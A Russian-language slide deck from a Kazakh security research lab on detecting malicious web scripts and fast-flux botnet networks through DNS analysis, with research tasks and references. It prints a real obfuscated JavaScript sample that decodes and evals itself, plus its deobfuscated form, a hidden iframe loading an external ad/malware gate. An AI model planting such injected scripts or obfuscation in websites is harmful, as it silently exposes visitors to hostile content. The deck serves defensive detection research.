Поиск вредоносного программного обеспечения Лаборатория исследований средств информационной безопасности РГП «ГТС» КСИИ МИР РК Астана 2014 Вредоносное ПО Программное обеспечение, которое разрабатывается для получения несанкционированного доступа к вычислительным ресурсам ЭВМ, а также данным, которые на ней хранятся. Такие программы предназначены для нанесения ущерба владельцу информации или ЭВМ, путем копирования, искажения, удаления или подмена информации. Вредоносное ПО имеют внутренний механизм распространения по локальным и глобальным компьютерным сетям. К сетям, по которым передаются данные вредоносного ПО, можно отнести файлообменные и торрент-сети, локальные сети, сети обмена между мобильными устройствами, а также электронную почту и различные Интернет-сервисы. Актуальные исследования • Поиск вредоносных скриптов • Поиск Fast-flux Service Networks Поиск вредоносных скриптов Поиск вредоносного кода на интернет-ресурсах Вредоносный код - программа, которая в рамках своей деятельности совершает некие несанкционированные действия. Направление в развитии вредоносных JavaScriptов: веб-страницы, приводящие к некорректному поведению браузера пользователя. Сбор вредоносных JavaScript Используются элементы форм как способ размещения, сокрытия и фрагментирования вредоносного кода. В частности используют тег <iframe>. Он создает плавающий фрейм, который находится внутри обычного документа и позволяет загружать в область заданных размеров любые другие независимые документы. Реальный пример из реальной жизни Обфусцированный код function qhtban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,9,11,23,46,55,39,24,21,17,0,0 ,0,0,0,0,53,28,8,42,2,50,3,43,30,14,4,12,57,59,38,5,22,32,13,49,40,20,62,10, 45,19,51,0,0,0,0,35,0,27,31,41,33,25,37,60,52,16,18,56,61,1,26,58,0,47,36,48 ,6,44,7,54,15,34,29);for(j=Math.ceil(l/b);j>0;j-){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)48])<<s;if(s){r+=String.fromCharCode(194^w&255);w>>=8;s=2}else{s=6}}}eval(r);}}qhtban('@4WGNwnXuvGX_nMXSVbLtwWG6PHVNwnT5Vocun2M@DMC wHCofM0CrDMTqHCkuIoG6V0gExWcyv2udVxkCnGXEybMX3oTwHCl_nnuuZocww4XX5bLc0kTwCWM swoXunCoxICXCEIu_ECcXVCoG_Vg@20g@qHofxqg_jnLc3Iky3MCNnGC0xqV@24C64ncCnM0Mxqk SnM44Ho0QaoCSWGG_42VuwWG6DI0V5VCrDMTqHW0fqI') Деобфусцированный код <iframe name=10af src="http://gate4ads.net/t/?637410af" width=187 height=91 style="display:none"></iframe> Задачи Сбор, деобфускация и анализ семантики вредоносных скриптов Сохранение семантической сигнатуры Разработка критерия вредоносности скрипта Упредительный поиск вредоносных скриптов с использованием семантического подхода Поиск узлов сети Fast-flux Что такое DNS? DNS – (система доменных имен) предназначен для преобразования доменных имен в IP-адреса Когда пользователь вводит адрес веб-страницы, система DNS проверяет соответствие этого имени с IP-адресом для этого сайта, после чего перенаправляет пользователя на соответствующий сайт. Архитектура DNS Поле RR Содержимое RR примеры NAME Имя ресурса sts.kz. TYPE Тип ресурсной записи A, NS, AAAA, MX, CNAME, SRV CLASS Класс ресурсной записи IN TTL Время жизни записи 3600 RDLENGTH Длина ресурсной записи 20 RDATA Содержимое ресурсной записи 178.89.108.50 Применяемые технологии для балансировки нагрузки DNS используется как средство балансировки нагрузки на серверы. mail.ru Доменное имя Запись «NS» Сервер отвечающий за доменную зону mail.ru Запись «А» IP-адрес 1. 2. ns1.mail.ru 94.100.180.201 ns2.mail.ru 217.69.139.201 Известный метод называется Round-Robin DNS. Сети доставки контента(CDNs). 94.100.180.199 217.69.139.199 Round-Robin DNS (в переводе с англ. «по кругу») метод распределения нагрузки список из нескольких адресов серверов, предоставляющих идентичный сервис; с каждым ответом последовательность ip-адресов меняется порядок возвращается в циклическом режиме Через несколько секунд CDN (Content Delivery/Distribution Network) Сеть доставки (и дистрибуции) контента — географически распределённая сетевая инфраструктура, позволяющая оптимизировать доставку и дистрибуцию контента конечным пользователям в сети Интернет. Одноточечная дистрибуция Дистрибуция средствами CDN CDN CDN вычисляет "ближайший" сервер (с точки зрения топологии сети и текущих характеристик линии связи) и возвращает его IP-адрес. Затем клиент устанавливает соединение с этим сервером и получает содержимое. Технология CDN способна предотвратить задержки при передаче данных, возможные прерывания связи и потери на перегруженных каналах и стыках между ними. Управление нагрузкой при передаче сетевого трафика позволяет разгрузить магистраль и узлы сети, распределив возникающую нагрузку между удалёнными серверами. Одна технология, но разные применения Round-Robin DNS и CDNs возвращают несколько IPадресов в ответ на запрос DNS. Сервисные сети Fast-Flux (FFSNs) используют ту же идею. С помощью методики, аналогичной Round-Robin DNS или CDN, злоумышленник всегда возвращает иной набор IP-адресов для запроса DNS и, таким образом, делает свое обнаружение невозможным и сложным. Что такое Fast-flux? Fast flux - это DNS техника, используемая ботнетами, которая позволяет скрывать следы и преодолевать провайдерские фильтры, блокирующие доступ по IPадресам. Ботнет - компьютерная сеть, состоящая из некоторого количества хостов, с запущенными ботами — автономным ПО. Что такое Fast-Flux? Целью fast-flux является назначение любому полнофункциональному доменному имени (например, www.example.com) множества (сотен, а иногда и тысяч) IP-адресов. Переключение между ними в потоке происходит очень быстро, при этом используется комбинация (Round-Robin DNS)циклического набора IP-адресов и очень маленького значения TTL для каждой отдельной записи в DNS. Новый набор IP-адресов именам хостов может назначаться с периодичностью в три минуты. Поэтому браузер, каждые три минуты соединяющийся с одним и тем же сайтом, на самом деле всякий раз соединяется с разными зараженными компьютерами. Виды Fast-flux Fast-Flux Single Flux (однопоточные) Double Flux (двупоточные) Single Flux Очень быстро меняются только записи типа «А» (IP- адрес ) для одного и того же домена divewithsharks.hk. divewithsharks.hk. divewithsharks.hk. divewithsharks.hk. divewithsharks.hk. 1800 1800 1800 1800 1800 IN IN IN IN IN A A A A A 70.68.187.10 76.209.81.82 85.207.74.2 90.144.43.11 142.165.41.45 divewithsharks.hk. divewithsharks.hk. divewithsharks.hk. divewithsharks.hk. divewithsharks.hk. 1238 1238 1238 1238 1238 IN IN IN IN IN A A A A A 68.150.25.4 76.209.81.82 172.189.83.36 200.115.195.5 213.85.179.10 divewithsharks.hk. 1800 IN NS ns1.world-wr.com. divewithsharks.hk. 1800 IN NS ns2.world-wr.com. divewithsharks.hk. 1238 IN NS ns1.world-wr.com. divewithsharks.hk. 1238 IN NS ns2.world-wr.com. ns1.world-wr.com. ns2.world-wr.com. ns1.world-wr.com. ns2.world-wr.com. 87169 IN A 66.232.119.21 87177 IN A 209.88.199.33 83446 IN A 66.232.119.21 81189 IN A 209.88.199.33 Double Flux Очень быстро меняются не только записи типа «А» (IP- адрес ) для одного и того же домена, но и NS записи (адрес узла, отвечающего за доменную зону) login.mylspacee.com. login.mylspacee.com. login.mylspacee.com. login.mylspacee.com. login.mylspacee.com. mylspacee.com. mylspacee.com. mylspacee.com. mylspacee.com. mylspacee.com. 177 177 177 177 177 108877 108877 108877 108877 108877 IN IN IN IN IN A A A A A NS NS NS NS NS ns3.mylspaceeee.hk. ns4.myheroisyourslove.hk. ns2.kraeshnt.com. ns1.hfgkrflodkf.hk. ns5.crwilld.com. IN IN IN IN IN ns1.hfgkrflodkf.hk. ns2.kraeshnt.com. ns3.mylspaceeee.hk. ns4.myheroisyourslove.hk. ns5.crwilld.com 854 854 854 854 854 66.229.133.2 67.10.117.55 70.244.2.131 74.67.113.99 74.137.49.66 IN IN IN IN IN A A A A A 70.227.218.15 70.136.16.232 68.59.76.111 70.126.19.87 70.121.157.36 login.mylspacee.com. login.mylspacee.com. login.mylspacee.com. login.mylspacee.com. login.mylspacee.com. mylspacee.com. mylspacee.com. mylspacee.com. mylspacee.com. mylspacee.com. 161 161 161 161 161 108642 108642 108642 108642 108642 IN IN IN IN IN A A A A A NS NS NS NS NS ns3.vqthe.cn. ns2.aaaaaaaaa.cn. ns5.thearmynext5.hk ns1.hfgkrflodkf.hk. ns4.myheroisyourslove.hk. IN IN IN IN IN ns1.hfgkrflodkf.hk. ns2.aaaaaaaaa.cn. ns3.vqthe.cn. ns4.myheroisyourslove.hk. ns5.thearmynext5.hk. 74.131.218.10 24.174.195.141 65.65.182.77 69.215.174.31 71.135.180.113 3596 3596 3596 3596 3596 IN IN IN IN IN A A A A A 70.227.218.15 69.238.210.28 75.33.248.175 75.22.239.19 70.64.222.8 Fast-flux ответственны за: фишинговые веб-сайты экстремистские сайты незаконная онлайн-торговля медицинскими препаратами сайты с незаконным контентом для взрослых вредоносные сайты использующих уязвимости браузеров и веб-ловушки для распространения вредоносных ПО. Пример Fast-Flux ботнета электронные письма с заголовком "230 dead as storm batters Europe“ ("230 погибших в результате бурь в странах Европы") Бэкдор 17 января 2007 года Storm Worm Вложенные файлы Full Clip.exe Full Story.exe Read More.exe Video.exe. Около 40 млн зараженных компьютеров Анализ данных собранный посредством Passive DNS Collector Box Passive DNS Collector Box – это система, собирающая информацию о ресурсных записях системы DNS на основании запросов пользователей сети Интернет DNS записи захватываются и направляются в пункт сбора для анализа и сохраняются в базе данных. Масштаб – примерно 0,5-1 млн. запросов в секунду Анализируя количественные характеристики DNSзапросов и соответствующих ресурсных записей, можно сделать выводы о характере доменных имен. Задачи o Предложить набор параметров ресурсных DNS-записей, а также частотных характеристик запросов (т.н. модель использования DNS-записей) o Построить кластеры (или категории) доменных имен по указанной модели, используя кластерный анализ, а также интерпретировать эти кластеры по смыслу o Предложить алгоритм для эффективного обновления кластеров по результатам DNS-ответов в режиме «на лету» o Оценить вычислительную сложность предложенного алгоритма Набор параметров для обнаружения FFSNs Количество А записей для одного домена (обычные домены возвращают от одного до трех А-записи, когда домены fast-flux часто возвращают от пяти и больше А-записи в одном DNS ответе) Количество NS записей для одного домена(fast-flux домены возвращают несколько NS-записи и разные А-записи для этих же NS) Количество уникальных ASN для всех A записей (обычные домены и даже домены распределенные через CDN возвращают только записи из одной конкретной AS. В отличие от этого, Fast Flux Service Networks как правило, расположены в разных AS, так как зараженные машины разбросаны по разным провайдерам) Очень низкий TTL (не основной параметр, так как домены распределенные через CDN тоже имеют низкий ТТL из-за скорости адаптации к перегрузке сети или отключения сервера) Научные публикации «Measuring and Detecting Fast-Flux Service Networks», In Annual Network and Distributed System Security Symposium 2008, University of Mannheim «FluXOR: detecting and monitoring fast-flux service networks», In Detection of Intrusions and Malware and Vunerability Assessment, 2008. Universita degli Studi di Milano «EXPOSURE: Finding Malicious Domains Using Passive DNS Analysis», In Annual Network and Distributed System Security Symposium 2011, Institute Eurecom, Northeastern University,University of California Другие математические вопросы Эффективный поиск подстроки в строке Классический алгоритм Ахо-Корасик: Применяется в антивирусах, IDS/IDP для сигнатурного поиска Представляет собой поиск вхождения строки с помощью «бора» - детерминированного конечного автомата на основе префиксного дерева Вычислительная сложность O(nσ + H + k), где H — длина текста, n — общая длина всех слов в словаре, σ — размер алфавита, k — общая длина всех совпадений. Задачи: Модифицировать алгоритм для повышения скорости его работы (как вариант, предложить полностью свой алгоритм); Использовать конвейеризацию, SIMD и т.д. сравнить производительность модификации с эталоном. Выявление аномалий в сетевом трафике Сетевой трафик можно представить в виде набора частотных параметров сетевых протоколов (TCP, UDP, etc.) Набор этих параметров задает модель трафика. Аномалии – это резкое отклонение модели от «нормального» состояния выше допустимого порога Задачи: Предложить репрезентативную (т.е. достаточно объективно отражающую состояние) модель сетевого трафика Предложить математический аппарат для выявления аномалий (например, с помощью дискретного вейвлет-преобразования) Предложить алгоритм для эффективного выявления аномалий в живом сетевом трафике, т.е. «на лету» Оценить вычислительную сложность предложенного алгоритма Спасибо за внимание!